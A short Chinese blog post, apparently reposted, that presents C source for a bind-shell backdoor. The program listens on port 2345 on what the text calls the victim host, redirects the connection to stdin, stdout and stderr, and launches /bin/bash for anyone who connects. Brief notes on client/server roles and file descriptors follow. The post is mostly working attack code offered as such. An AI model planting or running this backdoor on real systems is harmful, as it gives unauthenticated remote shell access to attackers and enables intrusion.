1、在受害主机上开启一个端口,并等待其它主机连接,连接后打开一个shell
server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。
#include<stdio.h> #include<unistd.h> #include<netinet/in.h> #include<sys/types.h> #include<sys/socket.h> #include<string.h> int main(){ int listenfd, connfd; struct sockaddr_in servaddr,cliaddr; char buff[1024]; int clilen; int n; listenfd = socket(AF_INET,SOCK_STREAM,0); //创建一个流套接字 bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(2345); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)//将地址和端口绑定到socket上 printf("bind error!\n"); listen(listenfd,10); //侦听该socket是否有其它套接字接入 clilen = sizeof(cliaddr); printf("serverfd is %d, connfd is %d.\n",listenfd,connfd); while(1){ connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen); //侦听到一个连接 send(connfd,"Welcome to Server!\n",19,0); //向该连接另一端发送数据 dup2(connfd,0); //向连接复制文件内容 dup2(connfd,1); dup2(connfd,2); execlp("/bin/bash","/bin/bash",NULL); //执行命令行,生成一个新的shell } close(connfd); //关闭连接 close(listenfd); //关闭侦听文件 }
Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错,而它们都指向同一个tty(teleType,终端)。
原文:https://www.cnblogs.com/dmzxxmeng/p/10807263.html